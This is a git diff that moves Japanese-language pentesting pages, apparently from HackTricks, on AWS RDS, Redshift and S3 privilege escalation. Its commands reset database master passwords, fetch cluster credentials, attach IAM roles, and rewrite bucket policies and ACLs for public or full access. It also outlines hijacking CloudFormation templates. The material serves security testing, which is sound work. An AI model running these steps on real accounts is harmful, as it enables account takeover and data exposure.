new file mode 100644
index 000000000..507059b4c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md
@@ -0,0 +1,151 @@
+# AWS - RDS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## RDS - リレーショナルデータベースサービス
+
+For more information about RDS check:
+
+{{#ref}}
+../../aws-services/aws-relational-database-rds-enum.md
+{{#endref}}
+
+### `rds:ModifyDBInstance`
+
+その権限があれば攻撃者は**マスターユーザーのパスワードを変更**でき、データベースへのログインを行うことができます:
+```bash
+# Get the DB username, db name and address
+aws rds describe-db-instances
+
+# Modify the password and wait a couple of minutes
+aws rds modify-db-instance \
+--db-instance-identifier <db-id> \
+--master-user-password 'Llaody2f6.123' \
+--apply-immediately
+
+# In case of postgres
+psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
+```
+> [!WARNING]
+> データベースに**接続できる必要があります**（通常はネットワーク内部からのみアクセス可能です）。
+
+**潜在的な影響:** データベース内の機密情報を発見する可能性があります。
+
+### rds-db:connect
+
+この[**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html)によると、この権限を持つユーザーはDBインスタンスに接続できます。
+
+### Abuse RDS Role IAM permissions
+
+#### Postgresql (Aurora)
+
+> [!TIP]
+> **`SELECT datname FROM pg_database;`** を実行して **`rdsadmin`** というデータベースが見つかれば、**AWS postgresql database** の内部にいることがわかります。
+
+まず、このデータベースが他のAWSサービスへアクセスするために使用されているかどうかを確認できます。インストールされている拡張機能を確認してみてください:
+```sql
+SELECT * FROM pg_extension;
+```
+もし **`aws_s3`** のようなものを見つけたら、このデータベースは S3 に対する何らかのアクセス権を持っていると推定できます（他にも **`aws_ml`** や **`aws_lambda`** といった拡張があります）。
+
+また、**`aws rds describe-db-clusters`** を実行する権限があれば、出力の **`AssociatedRoles`** フィールドで **cluster に何かしらの IAM Role が紐付けられているか** を確認できます。もし紐付いていれば、そのデータベースは他の AWS サービスにアクセスするように準備されていると考えられます。ロールの **name**（あるいはロールの **permissions** を取得できれば）から、データベースがどのような追加アクセス権を持っているかを **推測** できます。
+
+さて、バケット内のファイルを **読み取る** にはフルパスを知る必要があります。以下のように読み取れます：
+```sql
+// Create table
+CREATE TABLE ttemp (col TEXT);
+
+// Create s3 uri
+SELECT aws_commons.create_s3_uri(
+'test1234567890678', // Name of the bucket
+'data.csv',          // Name of the file
+'eu-west-1'          //region of the bucket
+) AS s3_uri \gset
+
+// Load file contents in table
+SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
+
+// Get info
+SELECT * from ttemp;
+
+// Delete table
+DROP TABLE ttemp;
+```
+もし**生のAWS認証情報**があれば、S3データにアクセスするためにそれらを使うこともできます:
+```sql
+SELECT aws_s3.table_import_from_s3(
+'t', '', '(format csv)',
+:'s3_uri',
+aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
+);
+```
+> [!NOTE]
+> Postgresql は S3 にアクセスするために **パラメータグループの変数を変更する必要はありません**。
+
+#### Mysql (Aurora)
+
+> [!TIP]
+> mysql 内で、クエリ **`SELECT User, Host FROM mysql.user;`** を実行して **`rdsadmin`** というユーザーが存在する場合、**AWS RDS mysql db** 内にいると見なせます。
+
+mysql 内で **`show variables;`** を実行し、**`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** のような変数に値がある場合、そのデータベースは S3 データにアクセスする準備ができていると見なせます。
+
+また、**`aws rds describe-db-clusters`** を実行する権限がある場合、クラスタに **associated role** があるか確認できます（通常は AWS サービスへのアクセスを意味します）。
+
+Now, to **read a file inside a bucket** you need to know the full path. You can read it with:
+```sql
+CREATE TABLE ttemp (col TEXT);
+LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
+SELECT * FROM ttemp;
+DROP TABLE ttemp;
+```
+### `rds:AddRoleToDBCluster`, `iam:PassRole`
+
+権限 `rds:AddRoleToDBCluster` と `iam:PassRole` を持つ攻撃者は、既存の RDS インスタンスに **指定したロールを追加する** ことができます。これにより、攻撃者は **機密データにアクセスする** またはインスタンス内のデータを変更する可能性があります。
+```bash
+aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
+```
+**Potential Impact**: RDS インスタンス内の機密データへのアクセス、またはデータの不正な変更。\
+Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also.
+
+### `rds:CreateDBInstance`
+
+この権限だけで攻撃者は既に存在し **IAM role** がアタッチされたクラスタ内に **新しいインスタンス** を作成できる可能性があります。マスターユーザーのパスワードを変更することはできませんが、新しいデータベースインスタンスをインターネットに公開してしまうかもしれません:
+```bash
+aws --region eu-west-1 --profile none-priv rds create-db-instance \
+--db-instance-identifier mydbinstance2 \
+--db-instance-class db.t3.medium \
+--engine aurora-postgresql \
+--db-cluster-identifier database-1 \
+--db-security-groups "string" \
+--publicly-accessible
+```
+### `rds:CreateDBInstance`, `iam:PassRole`
+
+> [!NOTE]
+> TODO: テスト
+
+`rds:CreateDBInstance` と `iam:PassRole` の権限を持つ攻撃者は、指定したロールをアタッチした新しい RDS インスタンスを **作成することができます**。攻撃者はその後、インスタンス内の **機密データにアクセスする** か、データを改変する可能性があります。
+
+> [!WARNING]
+> アタッチする role/instance-profile のいくつかの要件（[**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html) より）:
+
+> - プロファイルはあなたのアカウントに存在している必要があります。
+> - プロファイルには、Amazon EC2 が assume（引き受ける）権限を持つ IAM ロールが設定されている必要があります。
+> - インスタンスプロファイル名とそれに関連する IAM ロール名は、プレフィックス `AWSRDSCustom` で始まる必要があります。
+```bash
+aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
+```
+**潜在的な影響**: RDS インスタンス内の機密データへのアクセス、またはデータの不正な変更。
+
+### `rds:AddRoleToDBInstance`, `iam:PassRole`
+
+権限 `rds:AddRoleToDBInstance` と `iam:PassRole` を持つ攻撃者は、**既存の RDS インスタンスに指定したロールを追加することができます**。これにより、攻撃者が**機密データへアクセス**したり、インスタンス内のデータを変更したりする可能性があります。
+
+> [!WARNING]
+> この操作では DB インスタンスがクラスタの外にある必要があります。
+```bash
+aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
+```
+**潜在的な影響**: RDS インスタンス内の機密データへのアクセス、またはデータの無断変更。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
deleted file mode 100644
index abca45290..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
+++ /dev/null
@@ -1,95 +0,0 @@
-# AWS - Redshift Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Redshift
-
-RDSに関する詳細情報は、以下を確認してください:
-
-{{#ref}}
-../aws-services/aws-redshift-enum.md
-{{#endref}}
-
-### `redshift:DescribeClusters`, `redshift:GetClusterCredentials`
-
-これらの権限を持つことで、**すべてのクラスターの情報**（名前やクラスターのユーザー名を含む）を取得し、**アクセスするための資格情報**を取得できます:
-```bash
-# Get creds
-aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
-# Connect, even if the password is a base64 string, that is the password
-psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
-```
-**潜在的な影響:** データベース内の機密情報を見つける。
-
-### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`
-
-これらの権限を持つことで、**すべてのクラスターの情報**を取得し、**アクセスするための資格情報**を取得できます。\
-postgresユーザーは、資格情報を取得するために使用された**IAMアイデンティティの権限**を持つことに注意してください。
-```bash
-# Get creds
-aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
-# Connect, even if the password is a base64 string, that is the password
-psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
-```
-**潜在的な影響:** データベース内の機密情報を見つける。
-
-### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
-
-aws cliから内部postgres（redshift）ユーザーの**マスターパスワードを変更**することが可能です（これが必要な権限だと思いますが、まだテストしていません）：
-```
-aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
-```
-**潜在的影響:** データベース内の機密情報を見つける。
-
-## 外部サービスへのアクセス
-
-> [!WARNING]
-> 次のすべてのリソースにアクセスするには、**使用するロールを指定する必要があります**。Redshiftクラスターには、**使用できるAWSロールのリストが割り当てられている場合があります**。**ARN**を知っている場合はそれを使用するか、単に「**default**」を設定して割り当てられたデフォルトのものを使用できます。
-
-> さらに、[**ここで説明されているように**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html)、Redshiftはロールを連結することも許可しています（最初のロールが2番目のロールを引き受けることができる限り）が、**カンマ**で**区切る**必要があります: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
-
-### ラムダ
-
-[https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html)で説明されているように、Redshiftからラムダ関数を**呼び出すことが可能**です。
-```sql
-CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
-RETURNS INT
-STABLE
-LAMBDA 'lambda_function'
-IAM_ROLE default;
-```
-### S3
-
-[https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html)で説明されているように、**S3バケットに読み書きすることが可能です**:
-```sql
-# Read
-copy table from 's3://<your-bucket-name>/load/key_prefix'
-credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
-region '<region>'
-options;
-
-# Write
-unload ('select * from venue')
-to 's3://mybucket/tickit/unload/venue_'
-iam_role default;
-```
-### Dynamo
-
-[https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html)で説明されているように、**dynamodbからデータを取得する**ことが可能です：
-```sql
-copy favoritemovies
-from 'dynamodb://ProductCatalog'
-iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
-```
-> [!WARNING]
-> データを提供するAmazon DynamoDBテーブルは、クラスターと同じAWSリージョンに作成する必要があります。さもなければ、[REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region)オプションを使用して、Amazon DynamoDBテーブルが存在するAWSリージョンを指定する必要があります。
-
-### EMR
-
-チェック [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
-
-## References
-
-- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md
new file mode 100644
index 000000000..4844da20a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md
@@ -0,0 +1,95 @@
+# AWS - Redshift Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Redshift
+
+RDSに関する詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-redshift-enum.md
+{{#endref}}
+
+### `redshift:DescribeClusters`, `redshift:GetClusterCredentials`
+
+これらの権限があれば、**すべてのクラスターの情報**（名前やクラスターのユーザー名を含む）を取得し、アクセスするための**認証情報**を取得できます:
+```bash
+# Get creds
+aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
+# Connect, even if the password is a base64 string, that is the password
+psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
+```
+**潜在的な影響:** データベース内の機密情報を見つける。
+
+### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`
+
+これらの権限があれば、**すべてのクラスターの情報**を取得し、アクセスするための**認証情報を取得**できます。\
+postgresユーザーは、認証情報を取得するために使用された**IAM identityが持つ権限**を持つことに注意してください。
+```bash
+# Get creds
+aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
+# Connect, even if the password is a base64 string, that is the password
+psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
+```
+**Potential Impact:** データベース内の機密情報を取得できる可能性があります。
+
+### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
+
+aws cliから内部postgres (redshit) ユーザーの**マスターパスワードを変更する**ことが可能です（これらが必要な権限だと思いますが、まだテストしていません）:
+```
+aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
+```
+**Potential Impact:** データベース内の機密情報を見つけることができます。
+
+## 外部サービスへのアクセス
+
+> [!WARNING]
+> 以下のリソースすべてにアクセスするには、**使用する role を指定する**必要があります。Redshift クラスターは **a list of AWS roles が割り当てられていることがあります**。それらは **ARN を知っている場合** に使用できます。あるいは、割り当てられたものを使用するために **"default"** を設定するだけでも構いません。
+>
+> さらに、[**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift はロールを連結して（最初の role が2番目の role を引き受けられる場合に限り）追加のアクセスを得ることができますが、単に **区切って** **カンマ** で指定します: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
+
+### Lambdas
+
+[https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html) に記載されているように、次のように **redshift から lambda 関数を呼び出す** ことができます:
+```sql
+CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
+RETURNS INT
+STABLE
+LAMBDA 'lambda_function'
+IAM_ROLE default;
+```
+### S3
+
+[https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) に説明されているように、S3バケットへの**読み取りおよび書き込み**が可能です：
+```sql
+# Read
+copy table from 's3://<your-bucket-name>/load/key_prefix'
+credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
+region '<region>'
+options;
+
+# Write
+unload ('select * from venue')
+to 's3://mybucket/tickit/unload/venue_'
+iam_role default;
+```
+### Dynamo
+
+[https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html) に記載されているように、**dynamodb からデータを取得する**ことが可能です:
+```sql
+copy favoritemovies
+from 'dynamodb://ProductCatalog'
+iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
+```
+> [!WARNING]
+> データを提供する Amazon DynamoDB テーブルは、クラスターと同じ AWS Region に作成する必要があります。Amazon DynamoDB テーブルが存在する AWS Region を指定するために [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) オプションを使用する場合は例外です。
+
+### EMR
+
+詳細は [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) を参照してください。
+
+## 参考資料
+
+- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
deleted file mode 100644
index 36b5cacc9..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
+++ /dev/null
@@ -1,186 +0,0 @@
-# AWS - S3 Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-
-興味深いバケットに対してこれらの権限を持つ攻撃者は、リソースをハイジャックし、権限を昇格させることができるかもしれません。
-
-例えば、"cf-templates-nohnwfax6a6i-us-east-1"という名前のcloudformationバケットに対してこれらの**権限を持つ攻撃者**は、デプロイメントをハイジャックすることができます。アクセスは以下のポリシーで付与できます:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Action": [
-"s3:PutBucketNotification",
-"s3:GetBucketNotification",
-"s3:PutObject",
-"s3:GetObject"
-],
-"Resource": [
-"arn:aws:s3:::cf-templates-*/*",
-"arn:aws:s3:::cf-templates-*"
-]
-},
-{
-"Effect": "Allow",
-"Action": "s3:ListAllMyBuckets",
-"Resource": "*"
-}
-]
-}
-```
-そして、ハイジャックが可能なのは、**テンプレートがバケットにアップロードされる瞬間から**、**テンプレートがデプロイされる瞬間までの小さな時間ウィンドウ**があるからです。攻撃者は、自分のアカウントに**lambda function**を作成し、**バケット通知が送信されたときにトリガーされる**ように設定することで、**そのバケットの内容をハイジャック**することができます。
-
-![](<../../../images/image (174).png>)
-
-Pacuモジュール [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) を使用して、この攻撃を自動化できます。\
-詳細については、元の研究を確認してください: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
-
-### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
-
-これらは、**S3にオブジェクトを取得およびアップロードするための権限**です。AWS内（および外部）でいくつかのサービスが、**設定ファイル**を保存するためにS3ストレージを使用しています。\
-それらに**読み取りアクセス**を持つ攻撃者は、**機密情報**を見つける可能性があります。\
-それらに**書き込みアクセス**を持つ攻撃者は、**データを変更してサービスを悪用し、特権を昇格させようとする**ことができます。\
-以下はそのいくつかの例です：
-
-- EC2インスタンスが**ユーザーデータをS3バケットに保存している**場合、攻撃者はそれを変更して**EC2インスタンス内で任意のコードを実行**することができます。
-
-### `s3:PutObject`, `s3:GetObject` (オプション) terraformステートファイル上
-
-[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) ステートファイルがクラウドプロバイダーのブロブストレージに保存されることは非常に一般的です。例えば、AWS S3です。ステートファイルのファイルサフィックスは`.tfstate`であり、バケット名も通常、terraformステートファイルを含んでいることを示します。通常、すべてのAWSアカウントには、アカウントの状態を示すステートファイルを保存するためのそのようなバケットが1つあります。\
-また、実際のアカウントでは、ほぼすべての開発者が`s3:*`を持ち、時にはビジネスユーザーでさえ`s3:Put*`を持っています。
-
-したがって、これらのファイルに対してリストされた権限を持っている場合、`terraform`の特権でパイプライン内でRCEを取得することを可能にする攻撃ベクターがあります - ほとんどの場合、`AdministratorAccess`であり、あなたをクラウドアカウントの管理者にします。また、そのベクターを使用して、`terraform`に正当なリソースを削除させることでサービス拒否攻撃を行うこともできます。
-
-直接使用可能なエクスプロイトコードについては、*Terraform Security*ページの*Abusing Terraform State Files*セクションの説明に従ってください：
-
-{{#ref}}
-../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
-{{#endref}}
-
-### `s3:PutBucketPolicy`
-
-攻撃者は、**同じアカウントからである必要があり**、そうでない場合はエラー`The specified method is not allowed will trigger`が発生します。この権限を持つ攻撃者は、バケットに対して自分自身により多くの権限を付与し、バケットを読み取り、書き込み、変更、削除、公開することができるようになります。
-```bash
-# Update Bucket policy
-aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
-
-## JSON giving permissions to a user and mantaining some previous root access
-{
-"Id": "Policy1568185116930",
-"Version":"2012-10-17",
-"Statement":[
-{
-"Effect":"Allow",
-"Principal":{
-"AWS":"arn:aws:iam::123123123123:root"
-},
-"Action":"s3:ListBucket",
-"Resource":"arn:aws:s3:::somebucketname"
-},
-{
-"Effect":"Allow",
-"Principal":{
-"AWS":"arn:aws:iam::123123123123:user/username"
-},
-"Action":"s3:*",
-"Resource":"arn:aws:s3:::somebucketname/*"
-}
-]
-}
-
-## JSON Public policy example
-### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
-{
-"Id": "Policy1568185116930",
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "Stmt1568184932403",
-"Action": [
-"s3:ListBucket"
-],
-"Effect": "Allow",
-"Resource": "arn:aws:s3:::welcome",
-"Principal": "*"
-},
-{
-"Sid": "Stmt1568185007451",
-"Action": [
-"s3:GetObject"
-],
-"Effect": "Allow",
-"Resource": "arn:aws:s3:::welcome/*",
-"Principal": "*"
-}
-]
-}
-```
-### `s3:GetBucketAcl`, `s3:PutBucketAcl`
-
-攻撃者はこれらの権限を悪用して、特定のバケットに対して**より多くのアクセスを付与する**ことができます。\
-攻撃者は同じアカウントからである必要はありません。さらに、書き込みアクセス
-```bash
-# Update bucket ACL
-aws s3api get-bucket-acl --bucket <bucket-name>
-aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
-
-##JSON ACL example
-## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
-{
-"Owner": {
-"DisplayName": "<DisplayName>",
-"ID": "<ID>"
-},
-"Grants": [
-{
-"Grantee": {
-"Type": "Group",
-"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
-},
-"Permission": "FULL_CONTROL"
-}
-]
-}
-## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
-```
-### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-
-攻撃者は、これらの権限を悪用して、バケット内の特定のオブジェクトに対するアクセスを増やすことができます。
-```bash
-# Update bucket object ACL
-aws s3api get-object-acl --bucket <bucekt-name> --key flag
-aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
-
-##JSON ACL example
-## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
-{
-"Owner": {
-"DisplayName": "<DisplayName>",
-"ID": "<ID>"
-},
-"Grants": [
-{
-"Grantee": {
-"Type": "Group",
-"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
-},
-"Permission": "FULL_CONTROL"
-}
-]
-}
-## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
-```
-### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-
-これらの権限を持つ攻撃者は、特定のオブジェクトバージョンにAclを設定できると予想されます。
-```bash
-aws s3api get-object-acl --bucket <bucekt-name> --key flag
-aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
new file mode 100644
index 000000000..1a9efbd87
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -0,0 +1,184 @@
+# AWS - S3 Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
+
+興味深いバケットに対してこれらの権限を持つ攻撃者は、リソースを乗っ取り、権限を昇格させることができる可能性があります。
+
+例えば、"cf-templates-nohnwfax6a6i-us-east-1" という **cloudformation bucket に対する権限** を持つ攻撃者は、デプロイメントを乗っ取ることができます。アクセスは以下のポリシーで付与されることがあります：
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": [
+"s3:PutBucketNotification",
+"s3:GetBucketNotification",
+"s3:PutObject",
+"s3:GetObject"
+],
+"Resource": [
+"arn:aws:s3:::cf-templates-*/*",
+"arn:aws:s3:::cf-templates-*"
+]
+},
+{
+"Effect": "Allow",
+"Action": "s3:ListAllMyBuckets",
+"Resource": "*"
+}
+]
+}
+```
+そしてハイジャックが可能なのは、テンプレートが bucket にアップロードされた時点から**テンプレートがデプロイされる時点までの短い時間的猶予**が存在するためです。攻撃者は自分のアカウントに**lambda function**を作成し、**bucket notification が送信されたときに trigger**して、**bucket**の**content**を**hijacks**するかもしれません。
+
+![](<../../../images/image (174).png>)
+
+Pacu モジュール [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) はこの攻撃を自動化するために使用できます。\
+詳細はオリジナルの調査を参照してください: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+
+### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
+
+これは S3 に対して**オブジェクトを取得およびアップロードする**ための権限です。AWS 内（および外部）のいくつかのサービスは S3 ストレージを使って **config files** を保存します。\
+攻撃者がそれらに対して **read access** を持っている場合、**sensitive information** を見つける可能性があります。\
+攻撃者が **write access** を持っている場合、データを改ざんしてサービスを悪用し、**escalate privileges** を試みることができます。以下はその例です:
+
+- EC2 インスタンスが **user data in a S3 bucket** を保存している場合、攻撃者はそれを改変して **execute arbitrary code inside the EC2 instance** させることができます。
+
+### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
+
+terraform の state ファイルがクラウドプロバイダの blob ストレージ（例: AWS S3）に保存されていることは非常に一般的です。state ファイルの拡張子は `.tfstate` で、bucket 名から terraform state ファイルを含んでいると分かることも多いです。通常、各 AWS アカウントはアカウントの状態を示す state ファイルを保存するための bucket を1つ持っています。現実のアカウントではほとんどの場合、開発者は `s3:*` を持ち、場合によってはビジネスユーザでも `s3:Put*` を持っていることがあります。
+
+したがって、これらのファイルに対する権限を持っている場合、pipeline 内で terraform の権限（多くの場合 `AdministratorAccess`）で RCE を獲得できる攻撃ベクターが存在し、それによってクラウドアカウントの管理者になれることが多いです。また、terraform に正当なリソースを削除させることで、denial of service attack を引き起こすことも可能です。
+
+直接使えるエクスプロイトコードについては、*Terraform Security* ページの *Abusing Terraform State Files* セクションの説明を参照してください:
+
+{{#ref}}
+../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
+{{#endref}}
+
+### `s3:PutBucketPolicy`
+
+攻撃者は **同一アカウントからの操作である必要があります**。そうでない場合は `The specified method is not allowed` エラーが発生します。この権限を持っていると、該当バケットに対してさらに多くの権限を自身に付与でき、読み取り、書き込み、変更、削除、公開などを行えるようになります。
+```bash
+# Update Bucket policy
+aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
+
+## JSON giving permissions to a user and mantaining some previous root access
+{
+"Id": "Policy1568185116930",
+"Version":"2012-10-17",
+"Statement":[
+{
+"Effect":"Allow",
+"Principal":{
+"AWS":"arn:aws:iam::123123123123:root"
+},
+"Action":"s3:ListBucket",
+"Resource":"arn:aws:s3:::somebucketname"
+},
+{
+"Effect":"Allow",
+"Principal":{
+"AWS":"arn:aws:iam::123123123123:user/username"
+},
+"Action":"s3:*",
+"Resource":"arn:aws:s3:::somebucketname/*"
+}
+]
+}
+
+## JSON Public policy example
+### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
+{
+"Id": "Policy1568185116930",
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Stmt1568184932403",
+"Action": [
+"s3:ListBucket"
+],
+"Effect": "Allow",
+"Resource": "arn:aws:s3:::welcome",
+"Principal": "*"
+},
+{
+"Sid": "Stmt1568185007451",
+"Action": [
+"s3:GetObject"
+],
+"Effect": "Allow",
+"Resource": "arn:aws:s3:::welcome/*",
+"Principal": "*"
+}
+]
+}
+```
+### `s3:GetBucketAcl`, `s3:PutBucketAcl`
+
+攻撃者はこれらの権限を悪用して特定のバケットに対して**さらにアクセス権を付与する**ことができます。\
+攻撃者は同じアカウントのメンバーである必要はない点に注意してください。さらに、書き込み権限
+```bash
+# Update bucket ACL
+aws s3api get-bucket-acl --bucket <bucket-name>
+aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
+
+##JSON ACL example
+## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
+{
+"Owner": {
+"DisplayName": "<DisplayName>",
+"ID": "<ID>"
+},
+"Grants": [
+{
+"Grantee": {
+"Type": "Group",
+"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
+},
+"Permission": "FULL_CONTROL"
+}
+]
+}
+## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
+```
+### `s3:GetObjectAcl`, `s3:PutObjectAcl`
+
